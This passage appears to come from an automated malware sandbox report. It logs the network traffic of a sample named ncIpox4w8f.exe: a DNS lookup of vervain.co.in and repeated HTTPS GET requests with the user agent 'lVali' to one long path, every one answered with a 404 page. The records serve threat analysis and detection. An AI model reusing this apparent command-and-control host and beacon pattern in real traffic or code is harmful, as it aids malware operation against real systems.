Aug 5, 2022 15:10:22.293067932 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.293200016 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:22.293279886 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.293330908 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:22.293409109 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.293670893 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.293695927 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:22.293713093 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.293976068 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.760098934 CEST	49869	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.760134935 CEST	443	49869	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:22.760232925 CEST	49869	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.761181116 CEST	49869	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.761200905 CEST	443	49869	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:23.105581999 CEST	443	49869	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:23.105745077 CEST	49869	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:33.282788038 CEST	443	49869	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:33.282938004 CEST	49869	443	192.168.2.4	199.79.62.221

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 15:08:21.293731928 CEST	62099	53	192.168.2.4	8.8.8.8
Aug 5, 2022 15:08:21.449959040 CEST	53	62099	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 5, 2022 15:08:21.293731928 CEST	192.168.2.4	8.8.8.8	0x95fa	Standard query (0)	vervain.co.in	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 5, 2022 15:08:21.449959040 CEST	8.8.8.8	192.168.2.4	0x95fa	No error (0)	vervain.co.in		199.79.62.221	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

vervain.co.in

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49744	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	Direction	Data
2022-08-05 13:08:22 UTC	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:22 UTC	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:22 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49752	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:23 UTC	0	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:23 UTC	1	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:23 UTC	1	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49765	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:38 UTC	9	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:38 UTC	9	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:38 UTC	10	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49766	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:39 UTC	10	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:39 UTC	10	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:39 UTC	11	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49767	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:41 UTC	11	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:41 UTC	11	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:41 UTC	11	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49768	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:42 UTC	12	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:42 UTC	12	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:42 UTC	12	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49769	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:43 UTC	13	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:43 UTC	13	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:43 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:43 UTC	13	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49770	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:45 UTC	14	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:45 UTC	14	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:45 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:45 UTC	14	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49771	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:46 UTC	15	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:46 UTC	15	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:46 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:46 UTC	15	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49772	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:47 UTC	16	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:47 UTC	16	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:47 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:47 UTC	16	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49773	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:48 UTC	17	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:49 UTC	17	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:49 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:49 UTC	17	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49774	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:50 UTC	18	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:50 UTC	18	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:50 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:50 UTC	18	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49755	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:24 UTC	1	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:24 UTC	2	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
